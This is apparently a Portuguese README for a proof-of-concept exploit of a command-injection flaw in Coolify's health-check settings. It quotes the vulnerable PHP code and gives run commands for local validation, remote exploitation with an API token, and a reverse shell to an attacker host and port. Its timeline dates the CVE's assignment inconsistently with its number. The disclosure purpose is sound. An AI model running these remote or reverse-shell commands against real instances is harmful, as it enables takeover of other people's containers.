
Injeção de Comandos do SO em Verificação de Integridade → Execução Remota de Código
Prova-de-conceito para Injeção de Comandos na configuração de health check do Coolify.
Qualquer usuário autenticado podia executar comandos arbitrários dentro de contêineres implantados.
Coolify é uma plataforma de deploy open-source e auto-hospedada bastante popular (30K+ estrelas no GitHub) — uma alternativa gratuita ao Heroku, Vercel e Netlify.
Uma vulnerabilidade crítica de Injeção de Comandos foi descoberta na configuração de health check do Coolify. Os parâmetros health_check_host, health_check_method e health_check_path são interpolados diretamente em comandos shell sem qualquer sanitização, permitindo que qualquer usuário autenticado execute comandos arbitrários dentro dos contêineres de deploy.
┌──────────────────┬──────────────────────────────────────┐
│ CVE ID │ CVE-2026-59734 │
│ Tipo │ Injeção de Comandos (CWE-78) │
│ Severidade │ ALTA — CVSS 8.8 │
│ Vetor de Ataque │ Rede (Autenticado) │
│ Afetado │ Coolify <= v4.0.0-beta.460 │
│ Corrigido Em │ Coolify >= v4.0.0-beta.469 │
│ Commit da Correção│ 23f9156c7 │
│ Relatado Por │ CyberTechAjju │
└──────────────────┴──────────────────────────────────────┘
// app/Jobs/ApplicationDeploymentJob.php — generate_healthcheck_commands()
// ⚠️ Entrada do usuário diretamente no comando shell — SEM escapeshellarg()!
$generated_healthchecks_commands = [
"curl -s -X {$this->application->health_check_method} -f " .
"{$this->application->health_check_scheme}://" .
"{$this->application->health_check_host}:" .
"{$health_check_port}" .
"{$this->application->health_check_path} > /dev/null || exit 1",
];
Este script de PoC valida e explora a CVE-2026-59734 com dois modos:
| Modo | Descrição | Risco |
|---|---|---|
--local | Simula o padrão de código vulnerável offline. Sem requisições de rede. Testa todos os 3 parâmetros injetáveis + verifica a correção. | ✅ Seguro |
--remote | Explora uma instância real do Coolify via API. Injeta payload na configuração de health check e dispara o deploy. | ⚠️ Autenticação necessária |
host, method, path + confirma que a correção com escapeshellarg() funciona--lhost / --lportgit clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh
# Execute a validação local segura
./coolify_healthcheck_rce_poc.sh --local
Saída Esperada:
═══ VALIDAÇÃO LOCAL DO PADRÃO DE VULNERABILIDADE ═══
┌─ Teste 1: Injeção em health_check_host
│ ✅ VULNERÁVEL — Comando injetado executado com sucesso
┌─ Teste 2: Injeção em health_check_method
│ ✅ VULNERÁVEL — Parâmetro method também é injetável
┌─ Teste 3: Injeção em health_check_path
│ ✅ VULNERÁVEL — Parâmetro path também é injetável
┌─ Teste 4: Verificar se escapeshellarg() corrige o problema
│ ✅ SEGURO — Entrada sanitizada previne injeção
# PoC básico — escreve arquivo de prova dentro do contêiner
./coolify_healthcheck_rce_poc.sh --remote \
--url https://sua-instancia-coolify:3000 \
--token SEU_TOKEN_API \
--uuid UUID_DO_SEU_APP
# Reverse shell
./coolify_healthcheck_rce_poc.sh --remote \
--url https://sua-instancia-coolify:3000 \
--token SEU_TOKEN_API \
--uuid UUID_DO_SEU_APP \
--lhost SEU_IP \
--lport 4444
# Com limpeza automática (restaura configuração original após o exploit)
./coolify_healthcheck_rce_poc.sh --remote \
--url https://sua-instancia-coolify:3000 \
--token SEU_TOKEN_API \
--uuid UUID_DO_SEU_APP \
--cleanup
Uso:
Validação Local (segura, offline):
./coolify_healthcheck_rce_poc.sh --local
Exploração Remota (requer autenticação):
./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <TOKEN> --uuid <UUID> [OPÇÕES]
Opções:
--url URL da instância Coolify (ex.: https://coolify.example.com)
--token Token de autenticação Bearer da API
--uuid UUID da aplicação alvo
--payload Payload de injeção personalizado
--lhost IP do atacante para reverse shell
--lport Porta do atacante para reverse shell (padrão: 4444)
--cleanup Restaura configuração original após o exploit
Token da API:
UUID do App:
curl -s https://SEU-COOLIFY/api/v1/applications \
-H "Authorization: Bearer SEU_TOKEN" | jq '.[].uuid'
Escrevi um post detalhado no blog explicando toda a descoberta, exploração e lições aprendidas:
🔗 Como Encontrei uma Injeção de Comandos (RCE) no Coolify — Medium
Assista à demonstração completa de exploração no YouTube:
🔗 CVE-2026-59734 — Demonstração RCE no Coolify — YouTube
| Data | Evento |
|---|---|
| 6 Jan 2025 | 🔍 Descoberto e reportado via GitHub Security Advisory |
| 16 Jan 2025 | ✅ Relatório aceito pelo mantenedor do Coolify |
| 24 Fev 2025 | 🔬 Investigação confirmada |
| 18 Mar 2025 | 🔧 Correção commitada (23f9156c7) |
| 12 Abr 2025 | 📦 Correção lançada na v4.0.0-beta.469 |
| Jul 2025 | 🏷️ CVE-2026-59734 atribuída e advisory publicado |